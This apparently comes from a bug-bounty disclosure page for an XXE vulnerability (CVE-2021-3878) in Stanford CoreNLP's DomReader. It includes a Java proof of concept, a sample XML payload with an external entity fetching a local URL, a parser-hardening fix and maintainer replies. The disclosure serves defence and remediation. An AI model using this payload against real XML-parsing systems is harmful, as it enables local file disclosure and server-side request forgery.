Improper Restriction of XML External Entity Reference in stanfordnlp/corenlp

0

✓ Valid Reported on Oct 11th 2021

Description

The Stanford CoreNLP package provides a set of natural language analysis tools written in Java, is using a vulnerable XML External Entity (XXE). An attacker that is able to provide a crafted XML file as input to the `readDocument()` function in the "DomReader.java" file may allow an attacker to execute XML External Entities (XXE), including exposing the contents of local files to a remote server.

Proof of Concept

```
import java.io.File;
import java.io.FileInputStream;
import java.io.InputStream;

import edu.stanford.nlp.ie.machinereading.common.*;


public class Poc {
    @SuppressWarnings({ "unused" })
    public static void main(String[] args) {
        try {
            File file = new File("C:\\Users\\[user]\\eclipse-workspace\\xxe
            DomReader obj = new DomReader();
            obj.readDocument(file);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}
```

sample_ssrf.xml

```
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://127.0.0.1:8800/test.txt">]>
<foo>&xxe;</foo>
```

Occurrences

Ssurgeon.java L455

CVE
CVE-2021-3878
(Published)

Vulnerability Type
CWE-611: Improper Restriction of XML External Entity Reference

Severity
Critical (9.8)

Affected Version
*

Visibility
Public

Status
Fixed

Found by

Srikanth Prathi
@srikanthprathi
unranked

This report was seen 518 times.

Chat with us

We have contacted a member of the **stanfordnlp/corenlp** team and are waiting to hear back
a year ago

Srikanth Prathi submitted a **patch** a year ago

Srikanth Prathi submitted a **patch** a year ago

Srikanth Prathi submitted a **patch** a year ago

Srikanth Prathi a year ago Researcher

Unable to push a fix for two files in a single PR. Please find the below fix for the "src/edu/stanford/nlp/ie/machinereading/common/DomReader.java"

https://github.com/srikanthprathi/CoreNLP/pull/2

```
DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
factory.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);
factory.setFeature("http://xml.org/sax/features/external-general-entities", false);
factory.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
factory.setFeature("http://apache.org/xml/features/dom/create-entity-ref-nodes", false);
factory.setFeature("http://xml.org/sax/features/external-general-entities", false);
```

A **stanfordnlp/corenlp** maintainer validated this vulnerability a year ago

Srikanth Prathi has been awarded the disclosure bounty ✓

The fix bounty is now up for grabs

A **stanfordnlp/corenlp** maintainer a year ago Maintainer

https://github.com/stanfordnlp/CoreNLP/pull/1203

A **stanfordnlp/corenlp** maintainer marked this as fixed with commit **e5bbe1** a year ago

The fix bounty has been dropped ✗

This vulnerability will not receive a CVE ✗

Ssurgeon.java#L455 has been validated ✓

A **stanfordnlp/corenlp** maintainer a year ago Maintainer

Thanks for this report and patch. This issue has been patched in CoreNLP v4.3.1.

Srikanth Prathi a year ago Researcher

You are welcome @stanfordnlp/corenlp

Sign in to join this conversation